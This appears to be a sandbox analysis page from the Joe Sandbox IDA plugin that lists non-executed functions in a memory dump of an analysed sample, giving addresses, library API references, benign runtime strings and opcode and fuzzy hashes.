Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 40287283f9ee14000dd37b3b9e1a9d865295c6c4884dcbc540da9961a3db97fc
Instruction ID: d8f324ebce16f2708079f2084c2042550be69c808e44cb36b9173d0c4c6d654d
Opcode Fuzzy Hash: 40287283f9ee14000dd37b3b9e1a9d865295c6c4884dcbc540da9961a3db97fc
Instruction Fuzzy Hash: 3701DB3361465AAFCF05DF55DC49D9E3F29EB85320B240244F8159B2D0E671DE41DBA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C80DB0 Relevance: 29.1, APIs: 12, Strings: 4, Instructions: 1114COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C81441
___std_exception_destroy.LIBVCRUNTIME ref: 00C8145A
___std_exception_destroy.LIBVCRUNTIME ref: 00C815C9
___std_exception_destroy.LIBVCRUNTIME ref: 00C815E2
___std_exception_destroy.LIBVCRUNTIME ref: 00C81771
___std_exception_destroy.LIBVCRUNTIME ref: 00C8178A
___std_exception_destroy.LIBVCRUNTIME ref: 00C818F8
___std_exception_destroy.LIBVCRUNTIME ref: 00C81911

Strings

value, xrefs: 00C81CED
number overflow parsing ', xrefs: 00C81643
object, xrefs: 00C8195E
array, xrefs: 00C81811

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: array$number overflow parsing '$object$value
API String ID: 4194217158-3322379575
Opcode ID: c29d32f3604d8aae298b911afad06073bdf43f30adfcad8367c5334fb20c0450
Instruction ID: 8a085db11c3fd057d2058d56ffdbf463d6c4ea453b67f8ee111be153641f8a6c
Opcode Fuzzy Hash: c29d32f3604d8aae298b911afad06073bdf43f30adfcad8367c5334fb20c0450
Instruction Fuzzy Hash: 0DA2D970D0025DDFDB14EFA4C884BEEBBB9BF45304F148299E805AB342D770AA85DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00CAF050 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00CAF267

Strings

1#INF, xrefs: 00CAF186
1#SNAN, xrefs: 00CAF15C
1#IND, xrefs: 00CAF155
1#QNAN, xrefs: 00CAF163

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: de5706ddb9c62820704d84455ac3aec429d459f613738744720c6ee010884281
Instruction ID: c8a20e522dc5a1a7ebc143902ba225191a713f29e7140fa527ca98b9633914b0
Opcode Fuzzy Hash: de5706ddb9c62820704d84455ac3aec429d459f613738744720c6ee010884281
Instruction Fuzzy Hash: EFD24A71E082298FDB65CE68DC447EAB7B5FB45304F1441EAD81DE7240EB78AE868F41

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F450 Relevance: 8.2, Strings: 6, Instructions: 735COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00D5F70C
header crc mismatch, xrefs: 00D5FBBB
unknown compression method, xrefs: 00D5F61A
incorrect header check, xrefs: 00D5F6AD
invalid window size, xrefs: 00D5F69E
unknown compression method, xrefs: 00D5F6F5

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown compression method$unknown header flags set
API String ID: 0-3686625691
Opcode ID: d50504cd1134d97a5f7d6b10bac8d24576fdb12be776ea34c28c28e9bb3183f5
Instruction ID: 363a7bf97cfc777045e6f6ebbd57dc4cc1f60cf16d77935513ca2fd11ce29257
Opcode Fuzzy Hash: d50504cd1134d97a5f7d6b10bac8d24576fdb12be776ea34c28c28e9bb3183f5
Instruction Fuzzy Hash: 14625DB1D002159FDF14CF99C5846AEBBF1AF48309F2881AADC54AB342D775D94ACFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00FDB75B Relevance: 3.9, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

wcei, xrefs: 011C077C
4/, xrefs: 011C0939
_Ou, xrefs: 011C0743

Memory Dump Source

Source File: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID: 4/$_Ou$wcei
API String ID: 0-1318479226
Opcode ID: 40993f33fdc3f489caf4e29b3dbc193eddd959d572a812ab94d3648276f25fc7
Instruction ID: e10ae33064c2b7f5dd48b365d789eff3136dc99760aa2a3b7813cd6ecfc827d5
Opcode Fuzzy Hash: 40993f33fdc3f489caf4e29b3dbc193eddd959d572a812ab94d3648276f25fc7
Instruction Fuzzy Hash: 785116F391C214AFE7097A2CEC556BABBE5EB58360F1A492DE6C5C3740E935880086C6

Uniqueness

Uniqueness Score: -1.00%

Function 00C971F0 Relevance: 3.5, APIs: 2, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8699a35763ac44eb22cce45b8889ca4ebfbbd05a2f808e76f48b50c83f6b4931
Instruction ID: 5b97809278036ba19458676d5c94a673012812e223a85f628a56f7b02568a74b
Opcode Fuzzy Hash: 8699a35763ac44eb22cce45b8889ca4ebfbbd05a2f808e76f48b50c83f6b4931
Instruction Fuzzy Hash: 3F025D71E152199BDF14CFA9C884AAEFBF1FF48314F258269E919E7341D731AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00D3B380 Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

%s|%s, xrefs: 00D3B646

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID: %s|%s
API String ID: 0-3399301454
Opcode ID: 8f522317544b0c3a698221fa01359d4fd03c77655e1c4475f1f0f58957fcd485
Instruction ID: a04b23ac23070976d68d45dba18f5417f1c53a72e2c7d54446cc58e1ef9773c4
Opcode Fuzzy Hash: 8f522317544b0c3a698221fa01359d4fd03c77655e1c4475f1f0f58957fcd485
Instruction Fuzzy Hash: 8AC1AEB1D002099FDB14DFA8DC85BAEBBB5FF48310F144259E509AB391DB70A980DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C8DEAD Relevance: 1.5, APIs: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00C8D907,?,?,?,?,00D327DF), ref: 00C8DEE5

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: ab65c07bdd8971068c7d9013e3980e93f52e89e70cdbbeedb073b0b6783e1620
Instruction ID: 2eec90e8873e0ecf6bb14083795e26f059eb7ad0c9ec705245862de3acfde14c
Opcode Fuzzy Hash: ab65c07bdd8971068c7d9013e3980e93f52e89e70cdbbeedb073b0b6783e1620
Instruction Fuzzy Hash: 94F03032908795EFCB11AF45DC41B69BBA8F708B54F00412AE812D7790DB756900CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FDC1BF Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

}S;, xrefs: 011C71BD

Memory Dump Source

Source File: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID:
String ID: }S;
API String ID: 0-3652442933
Opcode ID: 6bb490c6832159a8a8c4be906628b909f909f215026e9780e7785efb48e30293
Instruction ID: 4f1bd1098cc30cd685465f981c8dc4a656ef345274ee0dcd6f01fbe2f4366f76
Opcode Fuzzy Hash: 6bb490c6832159a8a8c4be906628b909f909f215026e9780e7785efb48e30293
Instruction Fuzzy Hash: F751E3F3A0D204AFE714BE29EC8577AFBE5EFA4311F06852DE6C583744EA3514048656

Uniqueness

Uniqueness Score: -1.00%

